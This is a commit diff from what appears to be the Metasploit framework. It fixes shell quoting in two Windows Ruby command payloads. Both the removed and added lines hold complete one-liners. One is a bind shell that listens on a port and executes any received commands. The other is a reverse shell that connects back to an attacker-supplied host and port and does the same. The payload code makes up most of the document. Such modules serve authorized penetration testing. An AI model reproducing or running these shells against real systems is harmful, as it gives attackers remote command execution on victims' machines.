Skip to content

Commit 26f5617

Browse files
author
jvazquez-r7
committed
fix cmd windows ruby payloads
1 parent 4595a96 commit 26f5617

File tree

2 files changed

+2
-2
lines changed

2 files changed

+2
-2
lines changed

modules/payloads/singles/cmd/windows/bind_ruby.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,6 @@ def generate
4040
end
4141

4242
def command_string
43-
"ruby -rsocket -e 's=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"
43+
"ruby -rsocket -e \"s=TCPServer.new(\\\"#{datastore['LPORT']}\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end\""
4444
end
4545
end

modules/payloads/singles/cmd/windows/reverse_ruby.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,6 @@ def generate
4040
end
4141

4242
def command_string
43-
"ruby -rsocket -e 'c=TCPSocket.new(\"#{datastore['LHOST']}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
43+
"ruby -rsocket -e \"c=TCPSocket.new(\\\"#{datastore['LHOST']}\\\",\\\"#{datastore['LPORT']}\\\");while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end\""
4444
end
4545
end

0 commit comments

Comments
 (0)